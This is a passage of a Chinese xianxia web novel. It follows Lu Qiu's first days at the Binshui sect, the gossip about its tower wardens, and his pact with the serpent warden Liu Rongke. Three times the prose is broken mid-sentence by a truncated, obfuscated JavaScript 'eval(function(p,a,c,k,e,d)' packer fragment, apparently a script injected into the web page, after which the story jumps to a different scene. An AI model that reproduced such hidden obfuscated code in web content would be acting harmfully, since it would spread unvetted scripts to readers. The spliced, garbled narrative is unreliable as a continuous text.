他看向褚浣:“那个值班人有什么用吗?” “当然有啊,对房间有什么不满意或者对某人不满意都可以去找他。” “他们原来就是滨水宗的弟子吗?” “对的,”褚浣点头:“只有十分熟悉这里的弟子才能当值班人。” 云栖月这时说话了,他的床就在走廊窗边,对于一些动静听得一清二楚:“他还负责管纪律吗?刚刚有人进来时还挺吵的,结果不知道怎么回事突然就没声了。” “也有可能是没气了。”杜漓小声补充道:“我来的时候刚好遇见的,那个妖修不服管,被一尾巴抽到地上就不动了。”说完还打了个冷颤,看起来委屈极了:“我本来想和他打招呼的,结果他一个猛回头给我吓得不敢说话了。” “应该不会的,”褚浣强调:“除非是叛徒和有意作恶者会被攻击致死,其他人应该是被打晕了,不会有事的。” “那每个楼都怎么分的值班人?”陆秋一想到以后有什么事都要找自己楼的值班人,看见那个蛇尾在地上拖着他就一阵头皮发麻。 “在当学徒的时候住哪个楼,以后当值班人就在哪个楼。” “哦。”陆秋干巴巴的回应,褚浣也看出来他可能对他们的值班人确实有些意见,不过这也正常,蛇类在许多地方都会被视为危险物种,包括他刚来的那两年也都很怕这个值班人。 不过现在改观了,他安慰他们:“其实我们楼的值班人很好啦,平时都很温和,而且也没有像其他楼那样不耐烦。” “那其他楼的值班人你都熟悉吗?”云栖月从芥子空间抓出一袋瓜子放在桌上开始嗑。 “还好,基本都知道。” “细说!”杜漓也抓了一把瓜子,上半身趴在桌子上期待的看着褚浣。陆秋拿出杯子,还好下午他出去接了水,不然现在吃这么咸的东西绝对会被齁的咳嗽。 “一号楼和二号楼住的几乎都是一些大能,除非那个楼的住户给了你通行许可,不然你也就只能止步于值班人的那个台子。” “那两个楼的值班人是什么啊?”陆秋一听是大能住的,对那里的值班人更好奇了。 “神兽。”褚浣看了眼云栖月:“不过没有云栖月等级这么高的。”他往前推了推自己的茶杯,陆秋立刻给他也倒了一杯水。 “一号楼是个类,长的像猫,但不是猫,就是那种……”他指指肚子:“四脚吞金兽,遇到了得把身上的宝贝藏严实了,稍有不慎就会被摸去吃了。” “不能吐出来吗?”云栖月摸摸右手上的储物戒,他的储物戒有半个指节那么宽,一看就是那种容量极大的,再结合他的身份地位,里面的东西只多不少,恐怕随便一件被吃都能让人心疼好久。 “好像能,之前有位前辈的宝贝被吞了,他就去把那个值班人狠狠揍了一顿,一群大能去拉架才没让他把值班人打死的。” “哪位前辈脾气这么爆啊?”杜漓惊奇的问:“还要一群大能去拉架?” “嗯……”他回想了一下:“好久以前了,是位不常在这里住的前辈,据说还和一个落霞宗的鬼修结成道侣了,有一个儿子,年龄和我们应该也差不多大了。” 陆秋正听得津津有味呢,结果心里咯噔一下,他不确定的问:“那个前辈……是什么宝贝被吃了?” “一把拂尘吧?我师父说这件事当时闹得特别大,因为这拂尘是他准备送给他道侣当定情信物的。”褚浣也嗑瓜子,顺带抿了口茶水。 行了,他已经确定下来是自己爹了,他娘没事就拿着拂尘甩,他爹被抽了反而也不生气,于是越想越无奈,也跟着喝水。 “那二号楼哩?”杜漓追问。 “二号楼在滨水宗的边界,旁边就是其他宗门,所以那个楼的值班人是最强的。” “那个值班人又是什么种族?”云栖月也觉得渴了,又掏了一袋龙眼出来剥着吃。 “好像是……九色鹿?”他也不确定了:“准确来说本体是白鹿,但身上有好几种颜色的花纹,应该是九色鹿。” “那难怪。”杜漓拍拍手,一边剥龙眼吃一边分析:“都说了能力要强,与二号楼一墙之隔的就是落霞宗,里面的妖修都是动物,用九色鹿来镇压最合适不过。” “那为什么不用白泽呢?”云栖月问的有理有据:“白泽现原形的话只要是个活的都只能变回原型,这样不是更有震慑力?” “首先,你要能有白泽愿意做这个工作。”褚浣也一句句的怼他:“其次,落霞宗也是大宗门,用白泽太不友好,容易造成两个宗门的矛盾;最后,你不能只有威慑力吧?” 其实云栖月的思路是对的,但他也只能从上位者的角度去思考,不会顾忌其他,所以褚浣这么一说,他也无法反驳了。 “落霞宗又是什么宗门?”陆秋听秋络谈起过,但也没真正了解过多少。 “都是鬼修,擅长跳舞,主武器是带子。” “袋子?”陆秋眉头一皱:“这东西还能当武器吗?” “你看你说的!”杜漓拍桌而起:“只要会用,什么不能当武器!” “怎么用?把人套起来窒息吗?” “当然了,还能勒死人呢!”杜漓连连点头。 两人各讲各的,但神奇的接上了,最后又回到了滨水宗上。 “我们会学什么啊?”杜漓眼睛亮亮的,很期待的看着褚浣。 “你们应该学的不同,”褚浣打开玉简,给他们示范如何查看地点和学习内容。三人打开玉简,杜漓发现自己和褚浣在同一个长老名下,而陆秋和云栖月在另一个长老名下,学的果然就不同。 “我们明天有什么…啊?”杜漓打开内容,发现从寅时就要去背书,一直到正午能休息两柱香的时间,紧接着又是长达三个时辰的长老讲经。 “为什么!”他看看时间,现在都到子时了,要睡觉绝对是不可能的,不知所措的看向同样一夜未睡的褚浣。好在褚浣安慰他其实背书可以睡觉,长老讲经也可以睡,大家都睁只眼,闭只眼,长老也不怎么喜欢多管闲事的。 陆秋看着自己的玉简,发现上面有许多空出来的时间,有些不解的问褚浣:“那这些空出来的时间去做什么?” “可以休息,可以去修炼,也可以去玩。” “就……这一点时间?”云栖月不可置信的问:“虽然课的数量不多,但这中间就一个时辰左右,而且不能御剑的话也就只够一来一回的吧?” “你们是哪个长老的课?”褚浣探头看了一眼,立刻回答:“林长老啊,那正常。” “林长老怎么了?”陆秋看着上面的“林若”二字,伸手点了一下,结果又出现了一大段话,一眼扫过去竟全都是评价。 “完全不用担心因为迟到而被记名,因为林长老来的是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林若。”陆秋终于不呆呆站着当木头了,此时完全是人形的柳容柯看起来还挺好相处的,既然在一旁趴着的杜漓不怕,那就应该没什么危险,所以他也试着加入聊天。 “嗯……林长老啊……”他右手撑着下巴,想了一下:“他的课去不去都不要紧的,毕竟他也不教。” “这第一次课,不去好像也不好吧……”云栖月从小就是家族里的乖榜样,对于逃课这件事还是有点忌惮的。 “你当然也可以去啊,不过去了几次就不想去了,大环境是很容易改变一个人的。”柳容柯耸肩,毫不在意他的话。 “为什么我们不是一个师父呢?”陆秋提出了个关键问题。 “你们是接到邀请信才来的吧?” “对。” “那不就是了,既然能给你们发邀请信,那就是提前对你们摸了个底,再按照不同的修者分配给不同的长老管理。”柳容柯即使这样倚在后面也是十分优雅的,不像陆夕月有种玩世不恭的感觉。 见陆秋这会还是时不时往自己的腿上看,他突然有了个坏主意,就在陆秋又一次把目光从桌上的夜明珠上移到他的腿上时,看见了密密麻麻的黑色鳞片。 陆秋当时就吓得站了起来,还小小的蹦了一下,不过动作很轻,也没什么声音,所以他就自认为没人看见,但不知柳容柯后颈的红色眼睛纹身其实是能看见的。 柳容柯一头黑发很长,一直拖到地上,而散着的时候从后颈分成两半从前胸垂下去,刚好露出那诡异的纹身。 陆秋定睛一看,那鳞片原来是靴子上的装饰,不由得心里自己骂自己过度敏感,丢人。柳容柯似乎察觉到他的尴尬,转头看向他,明明是背光,他的瞳孔却还是一条竖缝,让陆秋有了一种他在看猎物的诡异想法。 他又说话了,嘴唇开合之间可以看见格外尖利的两颗毒牙与分了叉的舌头,陆秋大脑一片嗡鸣,根本没有听清他在说什么。 15. 端倪(4) 直到云栖月的声音传来,才把他的思绪拉了回来。 “什么?”陆秋捏捏鼻梁,皱眉问道。 “明天你还去吗?”云栖月又重复一遍:“去上课。” “去吧,反正还得熟悉一下这里的。”他感到有一阵头晕,又听到柳容柯像唱歌似的哄道:“好了,快去睡一会吧,休息够了才有精神。” 话都说到这份上了,有再多的话也只能咽到肚子里。几人把柳容柯送走,就匆匆忙忙的准备睡觉或者打坐来恢复精力。不过这次大家都很小心的避开了杜漓的拖鞋,特别是云栖月,短短几步路更是走出了满地陷阱的感觉。 不知是不是被柳容柯吓的,现在陆秋放松下来只觉得浑身疲惫,感觉只是一闭眼,再一睁眼的时候就已经天亮了。他从床上坐起来,看看四周发现就只有云栖月还躺在床上,手里拿着玉简不知道在看什么。 杜漓床上只有被滚成一团的被子和掉下去半个的枕头,柜子门也没有关紧,从一道缝中还能看见里面乱糟糟的东西。褚浣则是归类整齐,连被子的折叠都是按照比例来的,柜门上的锁自然垂下竟然都与地面平行,这么一对比简直让人不忍直视。 他愣了一会,随后慢吞吞的下床,看见原本放在床前的一只鞋子被踢到了云栖月那里,于是一只脚先蹬上了床边的鞋,又单脚蹦到那边去穿另一只鞋。 云栖月瞄了他一眼,用手肘撑起上半身,问:“你去吃饭吗?” “我金丹期,不用吃饭的。”陆秋感到奇怪。 “啊……但是……”云栖月似乎不满意他这个回答:“听说这里的饭还挺好吃的。”他一脸期待的看着陆秋,又劝他:“吃不吃都无所谓,咱去上课正好也路过,就早走一会的事。” 陆秋用还不是很清醒的脑子直接答应下来,转身就拿出自己的毛巾向外面的水房走去,毕竟先洗漱才能有精神。好在他们的房间在尽头,对面就是水房,而这个点几乎没有人,他去的时候刚好有个人端着自己的盆从里面出来,两人一对视,陆秋此时更傻了。 冯玉轩也愣愣的看他,直到黄盛也过来,就变成了三人大眼瞪小眼。冯玉轩侧身让陆秋进入,想着怎么也得打个招呼,随口一说:“好巧啊,你也在这。” “哦,拿邀请信来的。” 一句话又把话聊死了,但他也不在意,因为里面还有个黄琳在洗漱。 黄琳看见他,突然觉得自己应该是没睡醒,又往脸上扑了两把水,等用毛巾擦了脸发现陆秋真在他面前,才有点崩溃道:“您不是修仙的吗?怎么来这了。” “你不是修鬼道的吗?你怎么来这。”陆秋反问他。 “嘘!”黄琳急忙将食指堵到自己唇前示意他闭嘴:“大哥!大哥换个地方说话!” 冯玉轩和黄盛先回去了,而两人到了一个隔间聊天,黄琳刚放下心,陆秋突然问:“你不是在济王村吗,怎么来这里了?” “我是这里的挂名弟子诶!”黄琳在这里不用女相了,他的男相看着挺眉清目秀,就是还有点阴柔,不过也不会有什么异样的感觉就是。 “所以呢,你搞完事就又回来了?” “额……这么说也对。”他又问陆秋:“你刚刚说拿了邀请信来的?” “对啊。”陆秋怕他起疑,又故意补充道:“我怎么说都是个金丹修士,又没有门派,受到邀请很正常吧?” “正常,正常。”黄琳连连点头,其实每年的邀请函有大半是他在发,所以陆秋说的话他也不敢多相信。两人又陷入了沉默,正当这段对话要结束时,隔间门突然被拉开,门外站着的正是云栖月。 云栖月一手撑门,打量着黄琳,黄琳被盯的发毛,嘴角抽搐着问:“您有什么事吗?” “没,只是他太久没回去,我来找找。”云栖月在外面还是很严肃的,至少看起来是个不好惹的角色。陆秋知道他在羽人中的地位,就和他在家族中的地位一样,所以他搞的这么一出也很好理解,无非就是担心有前辈打着资历的借口欺负后辈,所以来镇镇场子,这在家族中常见,在宗门内更是不可避免。 “我们还有事,你先回去吧。”陆秋笑眯眯的对黄琳这么说,黄琳突然就觉得陆秋可太善解人意了,头也不回的端上自己的盆就跑的没影了。 “你还没洗漱?”云栖月看他还干着的毛巾有些生气:“有话一定要在这说吗?你在外面洗漱说也可以的吧。” “有点私事,没什么大问题,”陆秋对他笑了一下然后开始催:“我马上洗漱完,你先去换衣服吧。” 滨水宗弟子的宗服款式为统一的鲜红骑射服,圆领窄袖,但唯一不好的一点就是袖口设计。你说它是窄袖不假,但出于对所有人体型的考虑,这个袖口就做的大了许多,导致带上护腕的时候会有大量布料堆叠,硌得手腕发痒,时间一长还会有深浅不一的硌痕。 两人边走边整理,弄了半天都没能把那些褶子掖平,正当陆秋想着今天要不就这样了,等褚浣回来再问问他时,云栖月突然看向坐在大厅的柳容柯。 柳容柯正半躺在椅子上看书,见二人来了,挑眉问道:“什么事?” 云栖月丝毫不客气,把陆秋袖口往前一拉,展示给柳容柯说:“我们的袖口带护腕会叠起来,皱皱巴巴挺难受的,你有什么办法吗?” 陆秋看着云栖月都要把自己手递到人家脸上了,想缩回来又怕让云栖月难堪,只能举着胳膊不敢动。 这人怎么不自己伸手?陆秋带着些埋怨的意味飞快瞥了眼云栖月。 柳容柯把书盖在腿上,一手握住陆秋手腕,另一只手将袖口拉直,从中对折了一下,将折出来多余的部分又绕着手腕紧紧缠了一圈,直到中间没了空隙,才把护腕绑到上面。 “试试有没有不舒服的。”他放下陆秋的胳膊,让他转手腕感受一下。 陆秋发现那种硌人的感觉果然没有了,于是点头谢道:“多谢。” “不必。”柳容柯将胳膊肘撑在椅子帮上托腮看着一旁还在尝试的云栖月,心里感叹这么笨的还是第一次见。 云栖月也是一样的叠法,却怎么都很硌,于是他求助般的看向陆秋。 陆秋叹气,给他展示自己的另一个袖子,说:“袖子左右的厚度不一样,你把厚的一边垫在底下,薄的围着手腕转就行了。”他一边说一边展示,几下就绕完了,随后用护腕套上,为了让左右看起来对称,他也尾部还打了个结。 “你们也没必要去这么早。”柳容柯看看时间,好心提醒:“真要去的这么早,记得随便带本书去打发时间。” “现在还早吗?”陆秋和云栖月对视一眼,说道:“杜漓他们都上完两节课了。” “你们又不是一个长老教的,当然不一样,不过——”他又倚了回去,打开书:“这几天适应了,以后就知道怎么做了。” 纵使他这么说,两人还是提前半个时辰就到了目的地,当然,在没吃饭的情况下。他们其中有收到邀请函而来的弟子,也有像褚浣那样的原生弟子。 两人找位置坐下,闲聊了一会发现来的人并不多,甚至还有越来越少的趋势。就在还有一炷香的时间开始上课时,他们的玉简突然同时亮了起来。二人打开一看,说是林长老今日有事,请各位自行修炼。虽然他们已经想到了这次林长老会迟到,但怎么都没想到这一迟到就是一天,于是在短暂的思考后,两人决定先去吃饭。 有地图当然就好走很多,正当云栖月抱怨为什么只有特殊地区能用玉简时,陆秋问他平时用什么通信。只见云栖月眉头一皱,从芥子空间拿出了块雕琢精美的金色方牌,晃了两下说:“就这个,拿着死沉,还容易被惦记,明明也不是什么好东西……” “这还不是好东西?”陆秋看他的眼神都成看皇帝家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好的!”陆秋期待的看着他。 “你们没课吗?现在就来吃饭。”林容宣带他们去点餐,随后去了二楼的一间小房间等餐。 “长老说今日有事,明日再议。”云栖月也抓桌上的瓜子吃:“你没课吗?” “我师父说他去做任务了,”林容宣悄悄凑近了一点,小声说:“我这师父特懒,说是做任务,其实就躺在屋里睡大觉。” 二人交换了个眼神,没想到一个小小的滨水宗竟有和林若一样懒的长老。 “你们长老是谁啊,这么忙,连第一节课都不上。”林容宣又磕了一个瓜子。 “林若。”陆秋回答。只见林容宣的表情立刻僵住了,瓜子壳都叼在嘴里没吐出来,这时陆秋又想到褚浣之前提了一句:谁收的原生徒弟就跟谁的姓。心里不禁猜测林若不会是林容宣的师父吧。不过很快林容宣又恢复了正常,他懒懒地靠在墙上,又问起他们住几号楼,知道是五号楼后,眼睛一亮:“你们那个楼瓜特多!” “什么瓜?”陆秋双臂叠放在桌上,下巴枕在上面,等着他说。 “先是你们那个楼的值班人,害,可不是个东西。” “嗯?”那两人对视一眼:“愿闻其详。” “那家伙一肚子坏心眼,路过的狗他都得给人家一脚踢到水里去。”林容宣呸了一声:“只要是和他一辈的,就没有没被他欺负过的。” “你们是一辈的吗?名字里都带容。”云栖月敏锐的发现关键所在。 “是的,你们寝室的褚浣辈分更低,得叫我们师叔。”他把手里吐的一堆瓜子壳放桌上,又拿了把新的。 “柳容柯都做了什么?”陆秋挑眉催他讲。 “那可太多了,说上三天三夜都说不完。” “那就拣经典的说说。” 16. 端倪(5) 柳容柯并算不是传统意义上的原生弟子,他原本是有修行的,但和陆秋他们一样收到了邀请信才来到的滨水宗,也许是天赋极高,前掌门就破例把他收成了内门弟子。师徒俩关系应该是不错的,可是天才总有傲骨的,前掌门说他年龄太小,不宜想这么多,所以一直限制他的成长。柳容柯自然不愿意,就事事和前掌门对着干。 先是把圈养的灵兽放出去,大家集体停课去抓灵兽,之后又不停使绊子,给同门添堵。但是他干的还都是小事,不能定罪,更何况上面还有个前掌门护着他,所以大家都敢怒不敢言。 不过没多久掌门就大病一场,可能是这也唤起了他的一丝良心,让他想起了掌门对他的好,所以主动接过了照顾前掌门的活。 “之后呢?”陆秋完全没想到现在如此成熟稳重的柳容柯以前竟会有这么一段故事。 “前掌门还是没了,不过临终前说要让柳容柯去当值班人,可能也是保护他吧,怕他死后被报复。”他叹了口气,突然又说:“这都这么久了,怎么还没把饭送上来?” 陆秋一边说着“我去看看”,一边拉开门走出去。他透过镂空护栏处向下看去,看见了一个熟悉的身影,那人一头长发拖地,此时也抬头看向他,金色的眸子中带着笑意,让陆秋突然产生了种想接近他的冲动。不过好在他理智又立刻回笼,沿着楼梯向下走去,站在柳容柯面前装作无事发生:“好巧,你也来吃饭吗?” 柳容柯笑着没有回答他,陆秋也品出一丝不对劲来,刚刚他们来的时候都接近正午了,这会应该很多人才对,而现在不仅没有人吃饭,就连前台的小二也没了踪影。他心里自然是怕的,但与猛兽博弈时不可露怯,所以再怎么害怕也不能表现出来。他就这么和柳容柯对视,看着他几乎和针一样细的瞳孔,心脏狂跳。 他连后路都想好了,于是猛地出手向柳容柯心口打去,但柳容柯比他更快,一手抓住他的手腕,一手死死卡住他的下颌骨把他抵在墙上。陆秋想喊还在二楼的那两人,就听柳容柯凑到他耳边说:“你相信吗?” 相信什么?陆秋紧张的说不出话来,更不知道他在说什么相不相信的,但柳容柯并没有理他,自顾自说道:“去找到真相,你可以的,只有你可以的……” 陆秋此时也不挣扎了,因为柳容柯的情绪死死压住了他,让他动弹不得。该死的心法总会莫名影响他,即使他想屏蔽这些,那些心理活动还是会往他的脑袋里钻。柳容柯的情绪像是一摊污泥,堵住他的口鼻不让他呼吸,恐惧与悲伤一并袭来,飞速占据着大脑。 再缓过神时,他坐在台阶上,一旁只有柳容柯一下下的给他顺气。陆秋现在想想还有些后怕,不过柳容柯现在看着还是正常的,现在乖顺的和刚才仿佛是两个人。 柳容柯的手放在他脊背上轻轻拍着,带着歉意对他说:“刚刚冒犯了。” 陆秋平复着呼吸,他还有很多疑问:“刚刚林容宣说的话你都听到了?” 柳容柯笑而不语。这里没有人,只有摆在正中作为装饰的水车哗啦啦的搅着水,空气安静的诡异。 他又问:“你要我找什么真相?” “我会引导你的。”他把手收了回来:“陆夕月指望不上,只能靠你了。” 陆秋听到陆夕月的名字只觉得浑身一凉,看来是和自己爹跑不了关系。他还想问什么,但柳容柯已经牵起他的手,沉默的领着他上了二楼,在门外轻轻一推,陆秋就这么被推进了房间。 此时面前是云栖月和林容宣,耳边是外面人们的吵闹声。云栖月见他来了,忙拍着椅子:“菜都上来了你还没来,我俩还以为你去当监工了呢。” 陆秋扭头又看向下面,都是密密麻麻来吃饭的人,但其中根本就没有柳容柯的身影。他没敢透露刚刚的事,只能偷偷用了心法,感受云栖月较为兴奋的情绪,把自己的心情也带起来。 “你们聊到哪里了?”他也拿筷子吃了起来。 “没什么,也就一些小事。”云栖月接话。 “我能问些事吗?”陆秋看向林容宣,林容宣立刻点头。 “听褚浣说以前有个前辈揍过值班人,是真是假?” “当然是真的啊!”林容宣一听这个就来了精神,就连语速都快了不少:“我跟你讲,当时好几个大佬拦都拦不住他,那只类都差点让打死了,最后要不是前掌门出来调解,一号楼的值班人都要换了。” “前掌门真是什么都管啊?这也太累了吧。”云栖月感叹。 “那类是前掌门养的,当然得掌门管啊!”他大声强调着:“不过那个大佬也是厉害,以前住在二号楼,旁边就是落霞宗,天天逗鸟乱溜不说,还娶了落霞宗的大师姐。” “那他还干过什么大事吗?”陆秋细嚼慢咽,第一次觉得吃饭快不是好事。 “有啊,”林容宣一拍大腿“还有不少狐朋狗友崇拜他呢,不过后来那些人也都是大人物了,咱也不怎么说。” 陆秋仔细回想着,暂时不知道要问什么,他只能想到什么问什么:“值班人平时能出来吗?” 他这么一转话题有些突兀,但没人在意,林容宣耐心的解释:“分神能出来的,他们是值班人,镇楼用的,要是真跑出来谁来看着楼啊。” “但是全都不出来也不可能啊,到底怎么做才能让他们乖乖待在楼里?” “嗯……不知道”林容宣诚实的回答:“只说他们是自愿的,剩下咱啥也不知道。” “哦哦。”陆秋又随便找了两个话题聊,最后都吃完了林容宣才心满意足的走了。云栖月明显看出来他情绪不好,现在一看林容宣走了,他小声的对陆秋说道:“你脖子上怎么回事?” 陆秋不明所以,摸着脖子问:“哪里?” 云栖月拿出一面镜子来给他照着,这时陆秋在镜子里看见自己脖子左侧留下了个近似眼睛的花纹,泛着淡淡的红色。 “刚刚特别红,现在都快消失了。”云栖月没上手摸,还皱眉往后退了一下:“你身上味也挺浓的。” “什么味?”陆秋更傻了,他的嗅觉一直很好,现在别人说他身上有异味,而且还是自己闻不到的,直接狠狠打击了他。 “嗯……”他又皱着整张脸勉为其难的闻了一下:“一股子木头味,说不上来是什么木头,其中还有铁锈味。” “哪里来的味道?”陆秋也闻,但是死活都闻不出来。云栖月想再去藏书阁,但陆秋说自己得睡午觉,所以就和他分开了。两人分开不久,陆秋就按照记忆抄近路回到五号楼,直奔前台去找柳容柯。 柳容柯并不在前台,只有后面的门打开了一条缝。陆秋左右看看并没有人,就用手一撑桌子翻了过去,蹑手蹑脚走到门前,轻轻叩了两下门。就在他准备再敲门时,门内传来一道慵懒的声音:“进。” 陆秋推门进去,毫无防备的看见里面一条粗壮的蛇尾,看着就能轻易绞死他的那种程度。他站在门口不敢动,直到那条蛇尾轻轻关上了门,又在他背后推了推,示意他往前走。 穿过昏暗的长廊,尽头的屋子明亮温暖,和刚才的长廊形成鲜明对比。柳容柯上半身半躺在一堆书中,下半身蛇尾就软趴趴的随意在地上摆着。也许是明亮给了他一些勇气,他也不再像一开始那样害怕他。 “你知道我的家庭。”他笃定道。 “嗯。”柳容柯合上书,还是半躺着仰视陆秋。 “你怎么知道的?” “我是值班人,你们的信息我都得知道。”他作无辜状回答。 “我……”陆秋一时不知道该怎么问:“你找我是有什么事?” 柳容柯这次站起来了,不过不能说站,因为他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时他十分抗拒打上烙印,但柳容柯知道他的来意,主动提出如果陆秋可以帮他,他也会帮陆秋整理心法,直到完成为止。自己明明也可以写心法,但无论怎么说,有一位可靠的前辈能够相助总比自己摸爬滚打好得多,于是一咬牙就决定了和对方签契约。 现在后悔也没用,他只好迅速翻出玉牌和陆夕月联系,陆夕月能把他送到这里,那对于滨水宗的了解也绝对不会少。没准……没准还能有额外的收获。 像是特地在等他,玉牌刚打开联系,那边就传来陆夕月依旧懒散的声音:“怎么了,姓林的找你麻烦了?” 陆秋要问的话突然堵在了嗓子里,他突然想到今天遇到的师兄姓林,他的师父也姓林,而从陆夕月嘴里再说出这种话,与对柳容柯的评价一结合,他的脑海中闪出了几个不太可信的猜测。 “爹……”他发觉自己的嗓音有些嘶哑:“你知道怎么样能让值班人待在他们要待的楼里吗?” 对面沉默了很久,久到陆秋都以为陆夕月睡着了时,才给了他指明了一个方向:“你去过三号楼没有?” “去过了。”陆秋连忙回答,集中精神放在陆夕月接下来的话上 “十位值班人都只知道一点答案,你得自己去推测。” “我……”陆秋又卡了:“我要每一位都问吗?” “不然呢?”陆夕月反问道:“这是你的事,我能给你提供思路已经很不错了。” “等等,还有件事。”陆秋及时阻止了他切断联系:“你和落霞宗关系怎么样?” “你觉得浮海城不同门派会真心相处吗?”陆夕月冷笑一声:“多去看,多去思考,别什么事都走捷径。” 随后他就切断了联系,留下陆秋自己发呆,直到脖颈开始发烫,柳容柯的声音在耳边传来:“想好下一步该怎么做了吗?” 17. 端倪(6) 陆秋还是不太适应,下意识捂住脖子,低声说:“我去试试。”柳容柯没再说话,不过貌似很满意这个回答。 又过了几日,他才决定先去三号楼找之前遇到的那个猫妖值班人,而此时离日落还有一些时间,问几句话应该是足够的。三号楼值班人还和之前一样,瘦骨嶙峋,看着也没有什么精神,见陆秋来了,皱眉道:“你找谁?” “找您。”陆秋看他皱眉也不敢靠的太近,可能是妖修特有的嗅觉,察觉到了他身上有着柳容柯的气息而产生了敌意。 “什么事?”他一手摸上后颈,还不安的摩挲了两下。陆秋看他摸的位置,又想起柳容柯也是后颈有的妖纹,在心里默默记了下来。 “请问,您是怎么成为值班人的呢?” “啊?”猫妖愣了两秒,完全没搞懂这小子在搞什么,但想着陆秋并没有恶意,解释两句也不是什么大事:“自愿成为的呗。” “只是自愿就足够了吗?”陆秋对他的回答有些失望。 “怎么可能。”猫妖嗤笑:“还得有实力,低于神游期的都抬不起头好么。” “那……”陆秋一看有戏,刚要开口就被柳容柯悄悄打断:“问他为什么想来当值班人。” “这不好吧?他会说么。”陆秋偷偷用心声和他交流。 “问。”柳容柯回复的干脆利落。 “您又是为什么会自愿来当值班人呢?以您的实力来说,去外面闯荡完全不是什么事情啊。” 不知道这句话怎么戳到猫妖的痛处,他的脸立刻拉了下来,语气不善:“谁会想当值班人,如果没有变故我又怎么会沦落到这般境地。” 不等陆秋回答,他又说了起来:“天天只能呆在这破地方,当时说的有多好,现在就有多烂,老东西骗妖一流!” “谁是老东西?” “老混蛋!”猫妖痛骂:“死了的前掌门!” 陆秋不敢打断他,只能等他自己说。猫妖的胸膛剧烈起伏,呼吸都变得粗重起来:“那就是个骗子,什么好东西都想自己拿着,偏偏在外又装出一副老好人的模样,导致谁都不信我们说的话!” 看他摇摇头,又不知道说什么时,陆秋又提问:“你成为值班人要付出什么代价?” “血!”他把左臂的袖子一掀,露出上面满是青紫的痕迹:“时不时就是一次大抽血,谁知道他要干什么!” “你在这里,不给他血他又怎么办?”陆秋连忙追问。 “本体不在这又有什么用!”他把袖子拉回去,表情可以说的上是狰狞:“值班人都是分身,本体又不在这里。” “您的本体在哪里。” “当然在不喜欢的地方!” 最后也问不出什么了,陆秋就转向四号楼,反正到五号楼的话要路过四号楼,干脆也一起问了。但一进四号楼,就感受到了带有腥味的水汽扑面而来,像是谁在土里埋了已经开始腐烂的死鱼。纸糊的墙上有鼓起,也有掉落在地的纸块,看着就很脏,而且有种年代久远无人问津的感觉。 陆秋几乎要闭气了,他问柳容柯:“住这里的人都没有嗅觉吗,这么难闻还能住?” “是你的嗅觉太敏感了,”柳容柯给他解释:“妖修的嗅觉是用来嗅不同人气息的,不是用来嗅这些的。” 他只能尽量放轻呼吸,免得猛吸一口再被熏的吐出来,就这样不情不愿的走向前台。四号楼值班人身着深蓝色长袍,根本看不见脖子以下的身体部分,不过他的手背上长有鱼鳍,就能看来是位鱼妖了。 那鱼妖神色呆板,直到陆秋在他面前站了好一会,才开口问道:“有什么需要吗。” “直接问他怎么当的值班人。”柳容柯催他:“这家伙跟没有思想一样,你问什么他答什么。” “请问,您是如何成为值班人的?”陆秋又抛出同样的问题。 “自愿成为的。”鱼妖那对死鱼眼突然盯上了他的脖颈,不过陆秋也只能硬着头皮再问他:“付出了什么代价?” “割肉。”他回答的干脆利落。 “割什么肉?”陆秋的眼睛不自觉往他的长袍看,他心底有了个猜测,但又希望自己的猜测是错的。 “就是割肉,割自己的。” “您怎么割……” “是他做的。”鱼妖把视线收回来,定在陆秋的脸上,似乎知道他要问的下一个问题,主动说道:“前掌门做的。” 陆秋打了个寒颤,他已经不敢想象那是怎么可怕的身体。怕鱼妖再给他看这惊悚的一幕,他便又赶紧开口问:“你的本体在哪里?” 可是鱼妖动动嘴,没能说出话,像是被限制住了。但所幸他换了个说法,给陆秋提供了个重要线索:“你已经去过了。” 回到五号楼时,已经有弟子下课回寝室了,由于人太多,他总不能在这里就问柳容柯相关的事,所以他对着站在前台的柳容柯点点头就要走,但对方却叫住了他。 “你的室友都回去了。”他提醒道:“不太方便,在我这里等一会吧。” 陆秋左右看了看没看见有哪里能呆着,然后就看见原本是一体的前台桌侧突然有了一条明显的缝隙,从缝隙左侧开始就是一道半身高的门。 “进来吧。”柳容柯拉开门。 “总不能在这里站着吧,我又不是值班人。”陆秋站在外面又往大门口看了一眼,有些不情愿。 “坐着。”柳容柯从桌底用脚轻轻勾出一个小板凳,坐在上面刚好可以被前台桌挡住。陆秋只好进去坐下,不过来来往往的人貌似越来越多,他也不知道能干什么,只是坐着也太无聊了。 就在他托腮发呆时,另一只手貌似被塞了什么东西,冰冰凉凉还会动。陆秋定睛一看是条黑蛇尾,当时就吓得猛地一抖,头磕上了桌子震的桌上茶杯里的水都洒了出来。 柳容柯不知是被他吓了一跳还是单纯憋笑憋的,也是抖了一下,可能觉得自己确实有点过分了,便伸出手摸摸陆秋的脑袋表示抱歉。 不知是不是烙印的原因,陆秋此刻对这种冰凉的鳞片也不像往常那样恐惧,听着柳容柯和其他人无趣的对话,他反向拨了一下鳞片。蛇尾突然往后缩了缩,还左右扫了几下,像是肌肉记忆不受控制的那样。他突然就发现了新乐趣,拨一下,尾巴就动好几下,等意识到外面早就没了声音的时候,他一抬头就看见柳容柯单手撑桌,皮笑肉不笑的看着他。 “还玩吗?”柳容柯微笑。 陆秋拿着尾巴从自己腿上轻轻放到地上,摇摇头,面无表情的看着他。 